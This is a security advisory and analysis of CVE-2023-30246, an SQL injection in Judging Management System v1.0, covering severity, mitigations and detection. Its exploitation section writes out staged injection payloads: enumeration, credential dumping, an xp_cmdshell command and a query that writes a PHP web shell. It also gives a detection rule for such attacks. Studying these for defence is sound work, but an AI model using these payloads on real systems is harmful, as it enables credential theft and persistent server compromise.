CVE-2023-30246
CVE-2023-30246
Weakness (CWE)
CVSS Vector
v3.1- Attack Vector
- Network
- Attack Complexity
- Low
- Privileges Required
- None
- User Interaction
- None
- Scope
- Unchanged
- Confidentiality
- High
- Integrity
- High
- Availability
- High
Description
SQL injection vulnerability found in Judging Management System v.1.0 allows a remote attacker to execute arbitrary code via the contestant_id parameter.
CVE-2023-30246: Professional Cybersecurity Analysis
Executive Summary
CVE-2023-30246 represents a critical SQL injection vulnerability in Judging Management System v1.0 with a CVSS score of 9.8, indicating maximum severity. This vulnerability allows unauthenticated remote attackers to execute arbitrary code through the contestant_id parameter, posing significant risks to data confidentiality, integrity, and system availability.
1. Vulnerability Assessment and Severity Evaluation
Severity Classification
- CVSS Score: 9.8 (Critical)
- Attack Vector: Network-based
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: None
- Scope: Unchanged
- Impact: Complete compromise of confidentiality, integrity, and availability
Technical Assessment
The vulnerability stems from inadequate input validation and sanitization of the contestant_id parameter. The application fails to properly escape or parameterize SQL queries, allowing attackers to inject malicious SQL commands directly into database queries.
Critical Risk Factors:
- No authentication required for exploitation
- Remote exploitation capability
- Potential for complete system compromise
- Publicly available proof-of-concept (PoC) exploit code
- Affects web-accessible application component
2. Potential Attack Vectors and Exploitation Methods
Primary Attack Vector
HTTP Parameter Manipulation via the contestant_id parameter in GET/POST requests.
Exploitation Methodology
Stage 1: Information Gathering
contestant_id=1' UNION SELECT NULL,NULL,NULL--
contestant_id=1' UNION SELECT @@version,database(),user()--
Stage 2: Database Enumeration
contestant_id=1' UNION SELECT table_name,NULL,NULL FROM information_schema.tables--
contestant_id=1' UNION SELECT column_name,NULL,NULL FROM information_schema.columns WHERE table_name='users'--
Stage 3: Data Exfiltration
contestant_id=1' UNION SELECT username,password,email FROM users--
Stage 4: Privilege Escalation & Code Execution
Depending on database permissions and configuration:
- MySQL:
LOAD_FILE(),INTO OUTFILE, User-Defined Functions (UDF) - MSSQL:
xp_cmdshellfor OS command execution - PostgreSQL:
COPYcommands, large object functions
contestant_id=1'; EXEC xp_cmdshell('whoami')--
contestant_id=1' UNION SELECT "<?php system($_GET['cmd']); ?>" INTO OUTFILE '/var/www/html/shell.php'--
Attack Scenarios
- Data Breach: Extraction of sensitive user credentials, personal information, and business data
- Authentication Bypass: Direct access to administrative accounts
- Web Shell Deployment: Persistent backdoor access
- Lateral Movement: Pivot to internal network resources
- Ransomware Deployment: Complete system compromise leading to encryption attacks
3. Affected Systems and Software Versions
Confirmed Affected
- Judging Management System v1.0 (all installations)
Potentially Affected Components
- Web server hosting the application
- Backend database server (MySQL, MariaDB, PostgreSQL, MSSQL)
- Associated file systems with web server write permissions
- Connected internal network resources
Deployment Contexts at Risk
- Educational institutions using judging/competition management systems
- Event management organizations
- Any publicly accessible installation of the affected software
Environmental Factors
- High Risk: Internet-facing deployments without WAF protection
- Medium Risk: Internal network deployments with lateral movement potential
- Critical Risk: Systems with elevated database privileges (root/sa/dba)
4. Recommended Mitigation Strategies
Immediate Actions (Priority 1 - Within 24 Hours)
-
Isolate Affected Systems
- Remove from public internet access
- Implement network segmentation
- Enable enhanced logging and monitoring
-
Apply Input Validation
- Implement strict whitelist validation for
contestant_idparameter - Enforce numeric-only input with regex:
^[0-9]+$
- Implement strict whitelist validation for
-
Emergency Patching
// Temporary mitigation example (PHP) $contestant_id = filter_input(INPUT_GET, 'contestant_id', FILTER_VALIDATE_INT); if ($contestant_id === false || $contestant_id === null) { die("Invalid input"); }
Short-term Solutions (Priority 2 - Within 1 Week)
-
Implement Parameterized Queries
// Secure implementation $stmt = $pdo->prepare("SELECT * FROM contestants WHERE id = :id"); $stmt->bindParam(':id', $contestant_id, PDO::PARAM_INT); $stmt->execute(); -
Deploy Web Application Firewall (WAF)
- Configure SQL injection detection rules
- Implement virtual patching for CVE-2023-30246
- Enable ModSecurity with OWASP Core Rule Set
-
Database Hardening
- Revoke unnecessary database privileges
- Disable dangerous functions (
xp_cmdshell,LOAD_FILE, etc.) - Implement principle of least privilege
- Use separate read-only accounts where possible
Long-term Solutions (Priority 3 - Within 1 Month)
-
Code Remediation
- Comprehensive code audit of all database interactions
- Implement ORM frameworks (Doctrine, Eloquent, Hibernate)
- Adopt secure coding standards (OWASP guidelines)
-
Security Architecture
- Implement defense-in-depth strategy
- Deploy database activity monitoring (DAM)
- Enable intrusion detection/prevention systems (IDS/IPS)
-
Vulnerability Management Program
- Regular security assessments and penetration testing
- Automated vulnerability scanning
- Security awareness training for developers
-
Application Replacement
- Evaluate migration to actively maintained alternatives
- Consider enterprise-grade judging management solutions
- Implement secure SDLC practices for custom development
Detection and Monitoring
Indicators of Compromise (IoCs):
- Unusual SQL keywords in web logs: UNION, SELECT, INSERT, DROP, xp_cmdshell
- Abnormal contestant_id parameter values (non-numeric, special characters)
- Multiple database errors in application logs
- Unexpected outbound connections from database server
- New files in web directories (potential web shells)
- Unusual database query patterns or execution times
SIEM Detection Rules:
alert http any any -> any any (msg:"SQL Injection Attempt - contestant_id";
content:"contestant_id="; nocase; pcre:"/contestant_id=.*('|UNION|SELECT|INSERT)/i";
sid:1000001; rev:1;)
5. Impact on Cybersecurity Landscape
Broader Implications
-
Supply Chain Concerns
- Highlights risks in open-source/free software ecosystems
- Demonstrates importance of software composition analysis
- Emphasizes need for vendor security assessments
-
Industry-Specific Risks
- Educational sector particularly vulnerable
- Competition/event management systems often overlooked in security assessments
- Potential for widespread deployment in under-resourced organizations
-
Threat Intelligence
- Public PoC availability increases exploitation likelihood
- Low skill threshold for exploitation (script kiddie accessible)
- Potential for automated scanning and mass exploitation
-
Regulatory Considerations
- GDPR implications for European deployments
- FERPA concerns for educational institutions (US)
- Potential breach notification requirements
- Compliance violations (PCI-DSS, HIPAA if applicable)
Attack Trend Analysis
This vulnerability exemplifies ongoing trends:
- Persistent SQL injection prevalence despite decades of awareness
- Critical vulnerabilities in niche applications often overlooked
- Rapid weaponization of disclosed vulnerabilities
- Targeting of resource-constrained sectors (education, non-profits)